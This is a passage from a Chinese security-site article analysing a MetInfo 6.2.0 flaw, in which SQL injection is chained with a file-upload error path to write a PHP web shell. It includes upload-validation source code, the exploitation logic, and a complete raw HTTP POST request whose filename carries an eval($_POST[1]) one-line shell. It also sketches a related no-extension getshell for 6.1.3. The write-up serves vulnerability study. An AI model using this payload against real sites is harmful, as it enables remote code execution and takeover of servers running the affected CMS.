歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

metinfo 6.2.0正則匹配不嚴謹導致注入+getshell組合拳

來源:本站整理 作者:佚名 時間:2019-10-06 TAG: 我要投稿
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是否正確{}
    if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
    }
    //文件后綴是否為合法后綴
    $this->getext($filear["name"]); //獲取允許的后綴
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext." {$_M['word']['upfileTip3']}");
    }
    ...
}
省略部分代碼
我們要看return回去的值就是back變量的值,所以重點關注return的東西看是否可控。
首先是正常foreach取出上傳文件的信息,然后判斷是否能正常上傳-文件大小是否正確-文件后綴是否為合法后綴,如果有錯就return。到這里有兩種思路。
 
超出文件大小getshell

在后臺中最大文件大小是8m,如果我們上傳一個超出8m的文件,那么upload()函數就會return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}"); 而這個$filear["name"]是我們可控的,在foreach中賦值的。
那么這樣我們就可以把$filear["name"]改為shell,然后return回去,賦值給$back,echo進緩沖區,最后file_put_contents拿到shell,完美的利用鏈。
但是這個8m太大了,我們可以通過注入進后臺把這個限制改為0.0008
構造下payload,需要注意metinfonow參數是上文中從數據庫中取出的met_member_force
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename=" eval($_POST[1]);?>"
Content-Type: image/jpeg
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--



無后綴getshell
@mochazz師傅在先知上分享了一篇metinfo6.1.3的getshell,我自己測試在6.2.0中已經修復,不過還是提一下。
問題出在 app/system/include/class/upfile.class.php:139 getext()函數
如果不是合法后綴會return $this->error($this->ext." {$_M['word']['upfileTip3']}"),而$this->ext經過getext()函數,跟進
protected function getext($filename) {
    if ($filename == "") {
        return ;
    }
    $ext = explode(".", $filename);
    $ext = $ext[count($ext) - 1];

上一頁  [1] [2] [3] [4] [5]  下一頁

【聲明】:黑吧安全網(http://www.gkrbnd.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        福彩原副主任